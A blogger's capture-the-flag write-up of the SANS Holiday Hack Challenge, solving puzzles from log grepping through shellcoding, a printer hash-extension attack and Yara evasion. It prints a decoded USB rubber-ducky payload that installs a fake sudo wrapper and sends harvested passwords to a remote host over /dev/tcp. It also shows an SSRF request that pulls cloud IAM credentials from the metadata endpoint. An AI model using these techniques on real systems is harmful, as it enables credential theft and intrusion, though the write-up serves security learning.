shakuganz posted: " Hi everyone! This is a write-up on the recent SANS Holiday Hack Challenge CTF. I hope they will be helpful to you. It is my first time trying out SANS Holiday Hack challenge as they host it yearly. If you haven't tried it out, the main goal of this CTF "
Hi everyone! This is a write-up on the recent SANS Holiday Hack Challenge CTF. I hope they will be helpful to you. It is my first time trying out SANS Holiday Hack challenge as they host it yearly. If you haven't tried it out, the main goal of this CTF is to learn. Hence there are hints and guidance for some of the challenges. Most of the challenges aren't that hard except for Printer Exploitation, Keberoasting on an Open Fire, and Frost Tower Website checkup. Let's get started!
Grepping for Gold
This is a command-line challenge which my solution is definitely not that optimized. You can look at the actual solution provided which is given once solved. Go to the location outside the Frost Tower to begin this challenge.
Question 1
As the file contains the output of different hosts, I will need to filter them by first filtering for host 34.76.1.22. For there, we obtain the first answer.
Question 2
Question 2 is the same. Just filter for host 34.77.207.226 and find the open port which is 8080.
Question 3
We can just use the flag "-c" to find the number of occurrences to know the number of hosts up since based on questions 1 and 2, we know if the host is up, it will have the string "Status: Up". So we can just get those lines that have that and count the number of lines using the "-c" flag which is 26054 hosts are up.
Question 4
Firstly, I used the "head" command to check the format for examples of the format of those with more than one open port.
We can see they are all in one line. Hence we can find all the occurrences and get the number of hosts based on the number of lines output using the "-c" flag.
Question 5
First, I need to get those hosts that are "Up" as well as getting their next line. This will result in a mix of those only show hosts that are up as well as those whose show hosts that are up as well as having the next line showing ports that are open for that host.
elf@dc43cd103daf:~$grep -A1 "Status: Up" bigscan.gnmap ... Host: 34.79.214.46 Status: Up Host: 34.79.214.47 Status: Up Host: 34.79.214.47 Ports: .... ...
So we know that those that have open TCP ports will have 2 lines in the Nmap resulting in one line showing it is up while another line showing the open ports, I trim them down to only showing the IP addresses using the "cut" command. Then finally, I filter out and only show those unique IP addresses only. "wc -l" will help me to find out the number of unique lines which is the number of hosts without any open TCP ports. Thus, the answer is 402.
Question 6
We first need to find the number of occurrences of "open/tcp" in each line then we get the highest value by sorting in descending order and get the first number in the list. Thus the answer is 12.
Thaw Frost Tower's Entrance
We will need to enter the Frost Tower. But first, we need to talk to Grimy MrMcTrollkins for hints. He will tell us we need to use the WiFi adapter we obtained when we cleared the "Grep for Gold" challenge and we have to connect to the thermostat inside the building which is connected via WiFi using the command line. This way, we can melt the frost on the door to enter the building! We will need to learn to use the command line to connect to WiFi networks and use cURL for GET and POST requests.
Obtain SSID
From the WiFi CLI, we can scan for WiFi nearby using iwlist which there is only one. This allows us to know the SSID to be "FROST-Nidus-Setup". We can see there is no encryption available.
Connect to the WiFi network
We can use iwconfig to connect to the access point.
Access the themostat
I used curl to obtain information about the thermostat from the website.
We can get a list of APIs from the /apidoc directory.
Melt the ice on the door
They already gave us a hint on how to query it. Just copy and paste while changing the temperature to 10 degrees celsius.
Slot machine
Talk to NPC Hubie Selfington located at the Frost Tower's lobby and he will tell us to find the vulnerability in the slot machine. In this challenge, there is a vulnerability in the POST request which we can modify to allow us to win money all the time.
Outlook of the slot machine
When we click on the slot machine, a new tab will be open on our browser. It seems like this challenge requires us to use our own tools as so far the CTF challenge has been using their own in-browser consoles.
Discovering POST requests
I launched Burpsuite and click on the "SPIN" button to incept the request. This is when I noticed the request gets sent via an API number to a SPIN directory. 3 POST request parameters were sent as well.
I tried to play around with the parameters by increasing them by a lot but there is nothing useful. I tried to modify the response request from the server but the server keeps track of the actual credit amount so modifying the credit amount from outside is useless.
numline flaw
Previously I was increasing the number. I decided to decrease the value of numline parameter by using negative values and I noticed I keep winning. I did this test by sending it to a repeater so that I can keep spamming the request.
The lower the numline parameter's value, the more money we win.
Complete the challenge
Once we hit 1000 credits, we will see the message.
Finally, we can submit the flag.
Frostavator
Talk to Grody Goiterson located at the Frost Tower's lobby and he will tell us there is something wrong with the elevator.
This challenge will require us to have a basic understanding of logic gates and the truth table.
Solving it
We just need to understand logic gate operations can sort them so that the 3 output lights up. If you are unsure of the gates, can go wiki for the truth table of each gate. The solution is below.
Now we can close the panel and travel to Jack's office using the elevator.
Shellcode primer
The shellcode primer challenge is located at Jack's office which will give us a tutorial on GNU/Linux shellcoding.
If we click on the PC, it will open a new tab which is a walkthrough tutorial on x64 shellcoding before a final challenge of building our own shellcode at the very end.
You can go through the tutorial first to learn about assembly and shellcoding. It will be a refresher course if you already have experience building your own shellcode.
Below will contain the solution to the sections we have to answer. Whenever we clear each section, a new section will appear. The following sections do not require us to fill up any assembly code hence I will not show them below:
Introduction
Loops
Calling Into the Void
Getting Started
Question:
This level currently fails to build because it has no code. Can you add a return statement at the end? Don't worry about what it's actually returning (yet!) Feel free to check previous levels!
Solution:
For this mini-challenge, we just have to add in a RET instruction.
; This is a comment! We'll use comments to help guide your journey. ; Right now, we just need to RETurn! ; ; Enter a return statement below and hit Execute to see what happens! ret
Returning a Value
Question:
For this level, can you return the number '1337' from your function?
Solution:
; TODO: Set rax to 1337 mov rax, 1337 ; Return, just like we did last time ret
System Calls
Question:
For this challenge, we're going to call sys_exit to exit the process with exit code 99. Can you prepare rax and rdi with the correct values to exit? As always, feel free to mess around as much as you like!
; TODO: Find the syscall number for sys_exit and put it in rax mov rax, 60 ; TODO: Put the exit_code we want (99) in rdi mov rdi, 99 ; Perform the actual syscall syscall
Getting RIP
Question:
For this exercise, can you pop the address after the call - the No Op (nop) instruction - into rax then return?
Solution:
; Remember, this call pushes the return address to the stack call place_below_the_nop ; This is where the function *thinks* it is supposed to return nop ; This is a 'label' - as far as the call knows, this is the start of a function place_below_the_nop: ; TODO: Pop the top of the stack into rax pop rax ; Return from our code, as in previous levels ret
Hello, World!
Question:
For this next exercise, we include a plaintext string - 'Hello World' - as part of the code. It's just sitting there in memory. If you look at the compiled code, it's all basically Hello World, which doesn't run. Instead of trying to run it, can you call past it, and pop its address into rax? Don't forget to check the debugger after to see it in rax!
Solution:
; This would be a good place for a call call hmm ; This is the literal string 'Hello World', null terminated, as code. Except ; it'll crash if it actually tries to run, so we'd better jump over it! db 'Hello World',0 ; This would be a good place for a label and a pop hmm: pop rax ; This would be a good place for a re... oh wait, it's already here. Hooray! ret
Hello, World!!
Question:
Remember syscalls? Earlier, we used them to call an exit. Now let's try another! This time, instead of getting a pointer to the string Hello World, we're going to print it to standard output (stdout). Have another look at the syscall table. Can you find sys_write, and use to to print the string Hello World! to stdout? Note: stdout's file descriptor is 1.
Solution:
; TODO: Get a reference to this string into the correct register call hello db 'Hello World!',0 hello: ; Set up a call to sys_write ; TODO: Set rax to the correct syscall number for sys_write mov rax, 1 ; TODO: Set rdi to the first argument (the file descriptor, 1) mov rdi, 1 ; TODO: Set rsi to the second argument (buf - this is the "Hello World" string) pop rsi ; TODO: Set rdx to the third argument (length of the string, in bytes) mov rdx, 12 ; Perform the syscall syscall ; Return cleanly ret
Opening a File
Question:
We're getting dangerously close to do something interesting! How about that? Can you use the sys_open syscall to open /etc/passwd, then return the file handle (in rax)? Have another look at the syscall table. Can you call sys_open on the file /etc/passwd, then return the file handle? Here's the syscall table again.
Solution:
; TODO: Get a reference to this string into the correct register call passwd db '/etc/passwd',0 passwd: ; Set up a call to sys_open ; TODO: Set rax to the correct syscall number mov rax, 2 ; TODO: Set rdi to the first argument (the filename) pop rdi ; TODO: Set rsi to the second argument (flags - 0 is fine) xor rsi, rsi ; TODO: Set rdx to the third argument (mode - 0 is also fine) xor rdx, rdx ; Perform the syscall syscall ; syscall sets rax to the file handle, so to return the file handle we don't ; need to do anything else! ret
Reading a File
Question:
Do you feel ready to write some useful code? We hope so! You're mostly on your own this time! Don't forget that you can reference your solutions from other levels! For this exercise, we're going to read a specific file… let's say, /var/northpolesecrets.txt… and write it to stdout. No reason for the name, but since this is Jack Frost's troll-trainer, it might be related to a top-secret mission! Solving this is going to require three syscalls! Four if you decide to use sys_exit - you're welcome to return or exit, just don't forget to fix the stack if you return! First up, just like last exercise, call sys_open. This time, be sure to open /var/northpolesecrets.txt. Second, find the sys_read entry on the syscall table, and set up the call. Some tips: The file descriptor is returned by sys_open The buffer for reading the file can be any writeable memory - rsp is a great option, temporary storage is what the stack is meant for You can experiment to find the right count, but if it's a bit too high, that's perfectly fine Third, find the sys_write entry, and use it to write to stdout. Some tips on that: The file descriptor for stdout is always 1 The best value for count is the return value from sys_read, but you can experiment with that as well (if it's too long, you might get some garbage after; that's okay!) Finally, if you use rsp as a buffer, you won't be able to ret - you're going to overwrite the return address and ret will crash. That's okay! You remember how to sys_exit, right? (For an extra challenge, you can also subtract from rsp, use it, then add to rsp to protect the return address. That's how typical applications do it.) Good luck!
Solution:
I placed a lot of comments on the right side of my assembly code. Hope it help!
; TODO: Get a reference to this call northpolesecrets db '/var/northpolesecrets.txt',0 northpolesecrets: ; TODO: Call sys_open mov rax, 2 ; to call sys_open pop rdi ; put filename in rdi xor rsi, rsi ; arg2 set to 0 xor rdx, rdx ; arg3 set to 0 syscall ; TODO: Call sys_read on the file handle and read it into rsp mov rdi, rax ; rax contains returned FD from open() xor rax,rax ; to call sys_read sub rsp, 0xFF ; Create local variable array char[0xff] mov rsi, rsp ; set to use our local char[] buffer mov rdx, 0xFF ; set length to our local char[] buffer's length syscall ; TODO: Call sys_write to write the contents from rsp to stdout (1) mov rax, 1 ; to call sys_write mov rdi, 1 ; set FD as 1 which is stdout mov rsi, rsp ; set buffer to be read to be as our local char[] buffer mov rdx, 0xFF ; set length to our local char[] buffer's length syscall ; TODO: Call sys_exit add rsp, 0xFF ; clean up by removing our local variable mov rdi, rax ; use write()'s return status as our exit status mov rax, 60 ; to call sys_exit syscall
This will allow us to obtain the flag when we press the "Execute" button:
If we look at the firmware's value, we will see that it is base64 encoded as it ends with "==" which is a clear sign. Once we decode which I used an online decoder, we will know it is actually a ZIP file due to the "PK" magic signature.
Hence, I place the firmware base64 value firmwarebase64.txt before decoding it and pipe the output to form a ZIP file:
We can then unzip it can find out the zip file contains a BIN file, firmware.bin.
firmware.bin
Using the "file" command, we will see that it is a 64bits GNU/Linux file.
kali@kali$file firmware.bin firmware.bin: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=fc77960dcdd5219c01440f1043b35a0ef0cce3e2, not stripped
Creating payload file and add to ZIP
We can see that we need to obtain the flag from /var/spool/printer.log.
We can then place the flag file in the /app/lib/public/incoming folder. This way we will not have to use a free VPS to receive an incoming reverse shell if we do not want to expose our own public IP address to other CTF players.
Finally, we can archive it. NPC Ruby Cyster will tell us that files of the same type can be uploaded together but only the last file will be executed. Based on the hash extension article, we will know that to pass the signature check, we only can append new data. Since the original data is a ZIP file with the BIN firmware, firmware.bin, we have to create a new ZIP file, zipfirmware1.zip, with our malicious BIN file, firmware.bin, and append our new ZIP file, zipfirmware1.zip, to the original ZIP file, zipfirmware.zip. Note that the new firmware filename must be "firmware.bin". Otherwise, when we upload the JSON file later, there will be an error message saying the printer cannot find "firmware.bin".
kali@kali$zip -q zipfirmware1.zip firmware.bin
Obtain new signature
Based on firmware-export.json, we know that the secret length is 16, and a signature is required to validate our new firmware. Thus, we can use the hash extension tool to help us obtain a new signature without knowing the secret. Download the tool and use it to obtain the new signature.
Finally, we can make the file and run it to obtain the signature. The length of the string and signature value are obtained from the firmware-export.json.
If you read the article/blog on Hash Extension Attack, you will know that that the New String is the hexadecimal value of the original ZIP file appended with our new ZIP file. I didn't show the New String below as it is too long. You can replace yours with your New String. Echo with "-n" will not echo with a newline character. "xdd -p -r" will convert the hexadecimal back to ZIP file. Finally, we will convert the ZIP file to base64 where "-w 0" will not print newline characters. The output will be pipe to f.txt.
Copy the new firmware in base64 coding from f.txt and put it in the new JSON file, newfirmware-export.json. Remember to copy your new signature into the JSON file as well.
If it is successful, it will show the message below. Otherwise, you will see other error messages.
Flag
Go to the URL and we will obtain the flag from the log file.
We can now submit the flag.
Document Analysis
Document Analysis is located in Santa castle's courtyard. If we talk to NPC Piney Sappinton, he will tell us that Jack Frost has tampered with a file. We can use exiftool provided to help us. After completing the challenge, NPC Piney Sappinton will be willing to share with us some hints on Caramel Santaigo challenge. We need to click on ExifMetadata to start the challenge.
Files available
If we look at the files available, there are a number of files.
Finding modified file
We can test exiftool on any random file and see the output. Immediately we can see who modified the file. If it is not by Jack Frost, we will see it is last modified by Santa Claus.
Below shows partial exiftool output of 2021-12-24.docx where Santa Claus was the last user that modified the file:
If we count the number of lines before the "Last Modified By" column to reach the "File Name" column, there are 39 lines. Thus we can search for the file modified by Jack Frost and use the grep's flag "-B39" to see which is the modified file. Running the command below will allow us to know the modified file is "2021-12-21.docx".
We can then submit the file name to clear this challenge.
Caramel Santaigo's hint
When we talk to NPC Piney Sappinton, again, he will give us a hint on Caramel Santaigo where we need to use tools such as MGIS. and what3words. He also gave us another hint that we can make use of Flask's cookie.
Where in the World is Caramel Santaigo?
This challenge is located in Santa castle's courtyard. If we talk to the NPC Tangle Coalbox, he will give us a hint that this challenge is about OSINT where we need to track down the missing elf. However, I am not a huge fan of OSINT. Besides that, I heard this is an old game that some might have played before. However, I did not play before and I prefer the technical way of using Flask's cookie to help me clear the challenge. Note that each time you launch this challenge, the Flask's cookie value changes as the cities to travel change. So you have to repeat the steps of decoding the new Flask's cookie if you accidentally close the challenge.
Decoding Flask's cookie
We can first obtain the cookie from the browser. (I am using Firefox btw).
Based on the hint from NPC Piney Sappinton, we can read up on decoding Flask's cookie here.
I used cyberchef. Hence, my recipe is "From Base64 (URL-safe)" with "Zlib Inflate".
{ "day": "Monday", "elf": "Noel Boetie", "elfHints": ["Oh, I noticed they had a Star Trek themed phone case.", "The elf mentioned something about Stack Overflow and Golang.", "The elf got really heated about using spaces for indents.", "They kept checking their Discord app.", "hard"], "hour": 9, "location": "Santa's Castle", "options": [ ["Reykjav\u00edk, Iceland", "Prague, Czech Republic", "New York, USA"], ["Edinburgh, Scotland", "Reykjav\u00edk, Iceland", "London, England"], ["Copenhagen, Denmark", "Prague, Czech Republic", "Stuttgart, Germany"], ["London, England", "Edinburgh, Scotland", "Placeholder"] ], "randomSeed": 925, "route": ["Prague, Czech Republic", "Reykjav\u00edk, Iceland", "Stuttgart, Germany", "Placeholder"], "victoryToken": "{ hash:\"ad13f1f4798cc6865ddbe62d20f862691a6f7ca3799f222c57bbf3d8cb6bc344\", resourceId: \"057a240b-f60a-4fc9-a89e-e3528447098c\"}" }
Travel
Based on the decoded flask cookie, our route should be "Prague, Czech Republic" -> "Reykjav\u00edk, Iceland" -> "Stuttgart, Germany".
Continue to follow the route until we reached the last destination.
Investigate
Once we reached the last destination, go to the "Investigate" page. There are 3 options. Just randomly choose one of them by brute-forcing until you managed to catch the elf.
If you manage to catch the elf, they will present to you the page below. Just fill up who is the elf. Based on the decoded Flask Cookie, it is "Noel Boetie".
Yara Analysis
To begin the Yara Analysis challenge, we need to talk to Fitzy Shortstack who is at the main hall of Santa's castle.
This challenge involves modifying an ELF file to bypass the Yara rules running on the machine. We will be using xxd in vim text editor to help us to modify the ELF file. Grep command will be used for quick viewing of specific Yara rules. Let's get started!
Analyze rule 135
Firstly, we can see there are is a program "the critical elf app" and the directory "yara rules". Inside the directory, there is a Yara rule file.
If we run the "the critical elf app", we can see rule 135 was flagged by the yara rule.
We can take a look at rule 135 using grep.
We can see the only condition is the running app must have the string "candycane" in it for the rule to be triggered. Thus, we need to change the string "candycane" in the "the critical elf app" file to another string before running it. We can just change any letter in the string so it will not match with the rule.
snowball2@542f3b693ddc:~$ vim the critical elf app
Type ":%!xxd" in the VIM editor and press enter.
You will see we can now edit the binary file.
Scrolling down using the DOWN arrow key, we can find the string "candycane" at the address/offset 0x20009.
I changed the first character of the string to 0x65 ('e') by bringing the cursor the position to modify, press key R, and typed "5". Then I typed ":%!xxd -r" to go back to normal VIM mode and typed "!wq" to save and exit. Of course, you can change any other characters you want to modify the string but I chose to change the first character.
Analyze rule 1056
Run the program again and it will show us the next Yara rule that is triggered.
Grep for rule 1056 to see the conditions.
I searched for the hexadecimal for the $s1 variable. However, 0x2E36 cannot be part of the grep search string as it is in the next line. But with "-A1" flag, we can see 0x2E36 is indeed in the next line. Thus, we know that we need to modify this set of hexadecimal which is located at 0x45A. However, this is a very important part of the program which we cannot modify, You can see this post if you do not know why.
Next, I searched for the hexadecimal in $hs2. I used "-B2" to see what is the full sentence as the string is part of a full sentence. Note that this set of hexadecimal is located at the start of 0x2055. It does not seem useful thus we can modify it so the condition at Yara rule 1056 will fail since it is an AND condition which means one of the conditions fails, the whole rule fails.
Similarly, use xxd in vim text editor to modify a character. I changed from 0x72 to 0x73 ('s').
Repeat the step of typing ":%!xxd -r", press ENTER, type "wq!" and press ENTER. This will save the modification done to the binary file.
Analyze rule 1732
Run the program again and it will show us the next Yara rule that is triggered.
We can use grep again to search for rule 1732 to see its condition.
We can see that there are 3 conditions which we just need to make one of them fail to bypass rule 1732.
uint32(1) == 0x02464C45 is actually checking the 4 bytes of hexadecimal starting from address 0x1. If we look at the hexadecimal of the file, we will see 0x454C446 is actually "ELF<STX>".
We cannot modify 0x454C446 as it is part of the magic bytes. However, 0x2 isn't. Hence, we can modify it using xxd in vim text editor. I converted 0x2 to 0x0.
Completion
Once we run the file again, it should show the message below which means we have completed the challenge.
Strange USB Device
Strange USB Device is located on Santa Talks' floor in Santa's castle. If we talk to NPC Moroel Nouget, he will tell us it has something to do with rubber ducky.
We can see /mnt/USBDEVICE folder only contains inject.bin with very strange contents.
We can see the current directory only contains mallard.py.
elf@c6ec77c0560b:~$ls -l total 12 -rwxr-xr-x 1 root root 8802 Nov 30 22:14 mallard.py*
We can run it to see how to use the file. I have already analyzed the file and found nothing suspicious. It is just a USB rubber ducky keylogger's decoder.
elf@b15ecc409120:~$python mallard.py usage: mallard.py [-h] [--file FILE] [--no_analyze] [--output_file OUTPUT_FILE] [--analysis_file ANALYSIS_FILE] [--debug] optional arguments: -h, --help show this help message and exit --file FILE, -f FILE The file to decode, default: inject.bin --no_analyze, -A Include this switch to turn off analysis of the duckyfile --output_file OUTPUT_FILE, -o OUTPUT_FILE File to save decoded ducky script to. Default will print duckyfile to screen. --analysis_file ANALYSIS_FILE Location to output analysis. Default will print analysis to screen. --debug Enable Debug Logging.
When we decode the file at /mnt/USBDEVICE/inject.bin,
elf@b15ecc409120:~$python mallard.py -f /mnt/USBDEVICE/inject.bin ENTER DELAY 1000 GUI SPACE DELAY 500 STRING terminal ENTER DELAY 500 GUI - GUI - GUI - GUI - GUI - STRING /bin/bash ENTER DELAY 500 STRING mkdir -p ~/.config/sudo ENTER DELAY 200 STRING echo '#!/bin/bash > ~/.config/sudo/sudo ENTER STRING /usr/bin/sudo $@ ENTER STRING echo -n "[sudo] password for $USER: " ENTER STRING read -s pwd ENTER STRING echo ENTER STRING echo "$pwd" | /usr/bin/sudo -S true 2>/dev/null ENTER STRING if [ $? -eq 1 ] ENTER STRING then ENTER STRING echo "$USER:$pwd:invalid" > /dev/tcp/trollfun.jackfrosttower.com/1337 ENTER STRING echo "Sorry, try again." ENTER STRING sudo $@ ENTER STRING else ENTER STRING echo "$USER:$pwd:valid" > /dev/tcp/trollfun.jackfrosttower.com/1337 ENTER STRING echo "$pwd" | /usr/bin/sudo -S $@ ENTER STRING fi ENTER STRING fi' > ~/.config/sudo/sudo ENTER DELAY 200 STRING chmod u+x ~/.config/sudo/sudo ENTER DELAY 200 STRING echo "export PATH=~/.config/sudo:$PATH" >> ~/.bash_profile ENTER DELAY 200 STRING echo "export PATH=~/.config/sudo:$PATH" >> ~/.bashrc ENTER DELAY 200 STRING echo ==gCzlXZr9FZlpXay9Ga0VXYvg2cz5yL+BiP+AyJt92YuIXZ39Gd0N3byZ2ajFmau4WdmxGbvJHdAB3bvd2Ytl3ajlGILFESV1mWVN2SChVYTp1VhNlRyQ1UkdFZopkbS1EbHpFSwdlVRJlRVNFdwM2SGVEZnRTaihmVXJ2ZRhVWvJFSJBTOtJ2ZV12YuVlMkd2dTVGb0dUSJ5UMVdGNXl1ZrhkYzZ0ValnQDRmd1cUS6x2RJpHbHFWVClHZOpVVTpnWwQFdSdEVIJlRS9GZyoVcKJTVzwWMkBDcWFGdW1GZvJFSTJHZIdlWKhkU14UbVBSYzJXLoN3cnAyboNWZ | rev | base64 -d | bash ENTER DELAY 600 STRING history -c && rm .bash_history && exit ENTER DELAY 600 GUI q
We see something interesting where a base64 string is decoded and run using bash. If we decode it, we will see actually contains a command to add the public key to SSH authorized keys. We can see the username is actually "ickymcgoop".
We can submit the found username and clear this challenge.
IPv6 Sandbox
IPv6 Sandbox is located in Santa castle on the SantaTalks floor. Talk to NPC Jewel Loggins which will give us a hint that this challenge is on understanding IPv6. NPC Jewel Loggins will give us a hint that this github file will be useful for us for the challenge.
Scanning the network
I first scan the network to search for what machines are there. However, we must first find out what is the IP address range. Thus, I check the current machine's IPv6 addresses and find out the range via the prefixlen. If you are wondering why are there two IPv6 addresses in one interface, here is a post on StackOverflow with good explanations.
Now we are ready to scan. I did a ping sweep using nmap to find out which hosts are up.
ipv6-server.ipv6quest.kringlecastle.com looks interesting while the rest of the domain names are other terminals of other players. If we scan all the ports and services of ipv6-server.ipv6quest.kringlecastle.com, we can see HTTP service is available.
If we do an HTTP request to it, it will tell us to connect to another TCP port. Thus, we have to port scan on the machine's IPv6 interface.
We can find out the machine's IPv6 address by pinging it. Once we find out the address is 2604:6000:1528:cd:d55a:f8a7:d30a:e405, we can do an nmap scan to find the available services. Of course at the start you can ping sweep via IPv6. However, look at the address of the machine. It is :e405. It will take you a long time for the scan to even reach that machine. Hence, ping sweep via IPv4 subnet is more feasible.
We can see there is another open port at port 9000. When I use curl on port 9000, we immediately received the flag.
IMDS Exploration
IMDS Exploration challenge is located at Jack Office's restroom at Frost Tower. This challenge is more of a walkthrough there it teaches us the basics of IMDS. Below are just screenshots of me going through the walkthrough. You can take a look without the need to try it out yourself.
Ping the virtual server
The first requirement is to ping the virtual server. I sent 4 ICMP packets to it.
Next, the challenge tells us that IMDS provides us information of running VMs. Nothing interesting yet.
Analyzing IMDSv1
Continue to follow the instructions where we will curl the virtual server.
We can see piping to jq, the output is now colorized.
Analyzing IMDSv2
In the next section, the challenge will guide us through IMDSv2 that has better security than IMDSv1. Below will contain the steps of the challenge.
Hints on Now Hiring challenge
Talk to NPC Noxious_O_Dior again after completing the IMDS Exploration challenge and he will give us a hint on combing IMDS and SSRF. He also gives us a hint to read up on AWS for IMDS.
Customer Complain Analysis
This challenge can be found by going to the "Objectives" page where we will be tested on analyzing a PCAP file using Wireshark. Click on the hyperlink "Which three trolls complained about the human"? which will allow us to download a ZIP file.
The zip file contains a PCAP file for us to analyze.
We can see there is an interesting packet that is a POST request for /feedback/guest_complaint.html page which is most likely contains the submission of the complaining form to the server. In fact, this packet appears a few times.
Click on that packet and press CTRL+ALT+SHIFT+T to go to its TCP stream. We will see that the troll's name in the POST parameter for variable "name". Below shows an example of one of the troll's name "Klug".
Filter by complains
In my own console, I filter for the complain form's content before analyzing the content of the complaint to find out which are the trolls the challenge requires.
Almost all the messages seem to be complaining of a man, a woman, or a couple. However, there is one interesting complaint that came from a human whose name is "Muffy VonDuchess Sebastian". He seems to write that his guest room number is 1024. If we grep for "1024" we can see that there are 4 complaints that have the number 1024. 3 of the complaints are from trolls. Thus, these should be the trolls the challenge wants.
Therefore, we can submit the flag which is the trolls' name in alphabetical order.
Now hiring
This challenge can be found by going to the "Objectives" page. We will be tested on Server-side Request Forgery (SSRF) with IMDS.
Click on the hyperlink "Jack Frost Twoer job applications server" to go to the vulnerable webpage.
SSRF on Apply form
Go to https://apply.jackfrosttower.com/?p=apply by going to the Apply page. We will see an interesting field which is "URL to your public NLBI report". There is a possibility that the webserver will query the URL we supply to it. Thus, we can use it to query the AWS for meta-data. A case study example is from this blog in case2 which had a similar vulnerability.
I only filled up the name "gg" and the URL for NLBI "http://169.254.169.254/latest/meta-data/iam/security-credentials" and submitted it. All these are done on Burpsuite.
We should see the following response about the Naughty list which means the server did a query on our behalf to the AWS server. If you receive an error regarding .CSV file, it means the challenge is broken. Contact the admin to reset the challenge.
If we look at Burpsuite's HTTP history, we will see a strange image request. If we look at the content, we will see the response is the response to our SSRF for IMDSv1.
Submit the application form again but this time around the NLBI URL should be "http://169.254.169.254/latest/meta-data/iam/security-credentials/jf-deploy-role". Once you submitted, look at the HTTP history again, we should see the security-credentials which contain the SecretAccessKey.
Submit the flag to clear this challenge.
Interesting stuff
If we do not look at HTTP history, another way we can find out is the returned page to us. If we look at the page we received after submitting the form, it will look like this with a broken image.
This is because instead of returning an image, contains strings only which is the JSON data that contains our SecretAccessKey. Download the image and use Strings to see its content.
This challenge is located in the dining room at Santa's castle. It is a good challenge to learn the Object-Oriented Programming (OOP) side of Python.
Level 0
Before the start of each level, the objective will be given to us.
Below shows the instructions on how to do this challenge.
Sample codes are already given to us. We just need to run the code. You can click on each of the objects in the OBJECT HELP section to know the requirements such as how to change the level's mode by answering a question, how to know if a munchkin is friendly or not, how to not fall into the pit, etc. I won't be showing the content of them as it is too long. You can click on them if you are trying out the CTF.
Sample source code:
import elf, munchkins, levers, lollipops, yeeters, pits # Grab our lever object lever = levers.get(0) munchkin = munchkins.get(0) lollipop = lollipops.get(0) # move to lever position elf.moveTo(lever.position) # get lever int and add 2 and submit val leverData = lever.data() + 2 lever.pull(leverData) # Grab lollipop and stand next to munchkin elf.moveLeft(1) elf.moveUp(8) # Solve the munchkin's challenge munchList = munchkin.ask() # e.g. [1, 3, "a", "b", 4] answer_list = [] for elem in munchList: if type(elem) == int: answer_list.append(elem) munchkin.answer(answer_list) elf.moveUp(2) # Move to finish
Level 1
We can see level 1 is quite basic without any obstacles. We just have to collect the lollipops. Some initial code has already been given to us.
Solution for level 1:
import elf, munchkins, levers, lollipops, yeeters, pits lollipop = lollipops.get(0) # get the first lollipop elf.moveTo(lollipop.position) # move to lollipop elf.moveTo({"x":2, "y":2}) # move to KringleCon Entrance
Basic code explanation:
Lollipops is a list of lollipop objects. It has many attributes. One of them is the object/lollipop's position which is in dictionary type. It contains the coordinate of the lollipop.
elf is the current object of our elf. It has many functions. elf.moveTo() takes in a dictionary type of X and Y coordinates. Thus, we can directly go to the lollipop's location and KringleCon Entrance.
level 2
Seems like there are now some obstacles. Some sample code has already been given to us.
The sample code isn't useful. I came out with my own code from scratch. Note that the closest lollipop is lollipop1 and not lollipop.
import elf, munchkins, levers, lollipops, yeeters, pits elf.moveTo(lollipops.get(1).position) # to go lollipop1's position elf.moveTo(lollipops.get(0).position) # to go lollipop0's position elf.moveTo({"x":2, "y":2}) # move to KringleCon Entrance
Level 3
Solution:
import elf, munchkins, levers, lollipops, yeeters, pits lever0 = levers.get(0) lollipop0 = lollipops.get(0) elf.moveTo(lever0.position) # move to lever0 if (not(lever0.off)): # check if lever0 is on lever0.pull(lever0.data() + 2) # lever's help told us to add 2 to its dataand use the result to pull it elf.moveTo(lollipop0.position) # move to get lollipop0 elf.moveTo({"x":2, "y":2}) # move to KringleCon Entrance
Level 4
This is the link provided to help us check for the data type.
import elf, munchkins, levers, lollipops, yeeters, pits # Complete the code below: lever0, lever1, lever2, lever3, lever4 = levers.get() elf.moveLeft(2) # Move onto lever4 # This lever wants a str object: lever4.pull("A String") # Move to each lever and process data according to data type before pulling the lever for i in range(3,-1, -1): lever = levers.get(i) elf.moveTo(lever.position) data = lever.data() if (isinstance(data, bool)): data = not data elif (isinstance(data, int)): data += 2 elif (isinstance(data, float)): data += 2.0 elif (isinstance(data, list)): data.reverse() elif (isinstance(data, dict)): data['yay'] = "clear" lever.pull(data) # submit data elf.moveTo({"x":2, "y":2}) # move to KringleCon Entrance
Only the content starting from the FOR loop conditions is my own code. I tried to use FOR loop instead so that the program won't be that hardcoded. lever4.pull("A String") is given already hence I didn't touch it. Note that the challenge of this level is limited to only 18 lines of code and 15 function calls. The lines that contain comments are included in the number of lines coded. Thus, I tried to place most of my own comments on the right side of the program.
Note that there is actually no fixed input answer for lever.pull(). It wants us to modify the original data and send it as the argument for lever.pull().
Level 5
If you click on each of the levers here, they will tell you the requirement to pass each lever.
Solution:
import elf, munchkins, levers, lollipops, yeeters, pits # Move to each lever and process data according to data type before pulling the lever for i in range(4,-1, -1): lever = levers.get(i) elf.moveTo(lever.position) data = lever.data() if (isinstance(data, bool)): data = not data elif (isinstance(data, int)): data += 1 elif (isinstance(data, float)): data += 2.0 elif (isinstance(data, list)): data.append(1) elif (isinstance(data, dict)): data["strkey"] = "strvalue" elif (isinstance(data, str)): data += " concatenate" lever.pull(data) # submit data elf.moveTo({"x":2, "y":2}) # move to KringleCon Entrance
Despite each lever's data type being given, I tried to make it more dynamic by using isinstance(). The data are being modified according to the required conditions.
Level 6
We can see the long compiled list of conditions for lever0:
Solution:
import elf, munchkins, levers, lollipops, yeeters, pits # Fix/Complete the below code lever = levers.get(0) data = lever.data() if type(data) == bool: data = not data elif type(data) == int: data = data * 2 elif type(data) == list: data = [x+1 for x in data] elif type(data) == dict: data['a'] += 1 else: data += data # for handling String data type #elf.move elf.moveTo({'x':2,'y':4}) # move to lever #lever.something lever.pull(data) # submit answer to pull lever elf.moveUp(2) # move to KringleCon Entrance
Level 7
Solution:
import elf, munchkins, levers, lollipops, yeeters, pits for num in range(2): elf.moveLeft(1) elf.moveUp(11) elf.moveLeft(2) elf.moveDown(11) elf.moveLeft(1) elf.moveLeft(2) # current at corrdinate (5,12) as moveLeft(1) just now elf.moveUp(10) # move to KringleCon Entrance
We just need to go up and down 2 times to travel around the maze. Thus, FOR loop will be helpful to us.
Level 8 (Final level)
Requirement to pass Muchkin:
Solution:
